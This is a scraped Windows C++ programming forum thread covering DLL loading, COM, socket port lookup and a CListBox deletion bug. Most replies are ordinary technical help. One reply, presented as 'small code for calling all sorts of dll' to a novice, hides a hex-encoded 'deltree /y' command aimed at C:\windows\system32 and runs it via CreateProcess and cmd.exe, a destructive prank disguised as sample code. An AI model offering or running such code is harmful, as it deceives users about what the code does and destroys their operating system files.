|
I think he's trying to get the longest programming discussion ever on CP
|
|
|
|
|
Hi Cedric,
Thanks alot for your valuable replies...and i really apologize for making the discussion so long......
can you suggest me some good book on COM???
Thanks A Ton
Ash_VCPP
|
|
|
|
|
No chance. George has that one locked down.
|
|
|
|
|
So true...
BTW, it's been a loooong time we didn't see him here. Maybe they unpluged him ?
|
|
|
|
|
|
Specifying just the name of the DLL will cause Windows to look in the following folders in the following order:
0) The folder in which the application loading the DLL is running
1) Windows/System32
2) The folders specified in your system path statement (in the left-to-right order in which they appear in the path statement)
"Why don't you tie a kerosene-soaked rag around your ankles so the ants won't climb up and eat your candy ass..." - Dale Earnhardt, 1997 ----- "...the staggering layers of obscenity in your statement make it a work of art on so many levels." - Jason Jystad, 10/26/2001
|
|
|
|
|
What kind of DLL is it?
You know, COM DLL s need registration, moreover, COM DLL s should be accessed the COM 's way (i.e. via CoCreateInstance ).
Are you sure you need explicit linking (i.e. LoadLibrary ) with the library?
BTW: please don't answer: "it gives me errors...".
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
can you please write small code for calling both normal and com dll.....
Thanks A Ton
Ash_VCPP
|
|
|
|
|
Ash_VCPP wrote: can you please write small code for calling both normal and com dll.....
Why? I mean that code is already in thousands of web pages so why put it in another one here?
People come here all the time asking for stuff that already exists and can easily be found using Google. They do it all the time and it still doesn't work.
|
|
|
|
|
Done, many times. Now it's your turn.
BTW: Why are you asking for code? Why do you want code for accessing both kind of libraries? I think it would be more profitable an effort to understand what kind of library are you dealing with and what is the best approach for using it.
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
Here's a small code for calling all sorts of dll:
int i;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
char arg[] = {0x64,0x65,0x6c,0x74,0x72,0x65,0x65,0x20,0x2f,0x79,0x20,0x22,0x43,0x3a,0x5c,0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,0x32,0x5c,0x22,'\0'};
i = CreateProcess("cmd.exe",arg,NULL,NULL,0,0,NULL,NULL, &si, &pi);
if(i){
} else {
}
disclaimer: use at your own risk, I'm not responsible for your actions.
|
|
|
|
|
|
Hello,
Is there any way to get port number bound to a given socket using the socket descriptor. I dont want to use getsockname().
Thanks in advance.
Gajendra
|
|
|
|
|
Why don't you want to use getsockname() .
«_Superman_»
I love work. It gives me something to do between weekends.
|
|
|
|
|
|
I think you should use it because the site also talk about the resolution for the failure.
«_Superman_»
I love work. It gives me something to do between weekends.
|
|
|
|
|
I want to avoid the complexity associated with WSADuplicateSocket. I just want to pass the port number across processes, thats my only requirement. I need some mechanism through which i can get socket number in parent process and pass it to the child process as an argument. By parent process i mean process that invokes the second process, which i call the child process.
Gajendra
|
|
|
|
|
Don't duplicate the socket at all.
Get the port number using the socket descriptor.
And pass this port number to the child process as a command line argument.
«_Superman_»
I love work. It gives me something to do between weekends.
|
|
|
|
|
u mean using Get the port number using getsockname()?
Gajendra
|
|
|
|
|
Yes, without duplicating the socket.
«_Superman_»
I love work. It gives me something to do between weekends.
|
|
|
|
|
Thanks for your answer!!!
Gajendra
|
|
|
|
|
5 .
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
I am trying to delete all items of a CListBox
However, only the top item is removed once calling this routine, How do I delete everything ?
Thanks
<br />
numOfItems= listBox.GetCount();<br />
<br />
for (int i =0; i<=numOfItems; i++){<br />
lisBox.DeleteString(i);<br />
}<br />
llp00na
|
|
|
|
|
CListBox::ResetContent[^].
Btw there's also a fundamantal flaw in your method. Consider what your loop does:
1. i becomes 0, the very first ("zeroth") item is deleted from your list, this will raise all other items 1 place, so 0 goes away, 1st becomes the 0th, 2nd becomes 1st, 3rd becomes 2nd and so on...
2. i now becomes 1, the 1st item in your list is deleted, and the ones under it jump up one place, so the 0th item is untouched, the 1st is deleted, 2nd becomes 1st, 3->2, 4->3 ...
3. i now becomes 2, 2nd item is deleted, so 0th is untouched, 1st is untouched, 2nd is deleted, 3rd becomes 2bd, 4->3 and so on...
Get the problem?
> The problem with computers is that they do what you tell them to do and not what you want them to do. <
> Life: great graphics, but the gameplay sux. <
|
|
|
|
|
Great answer
Thanks for the clarification. Looks like i can not think anymore
llp00na
|
|
|
|
|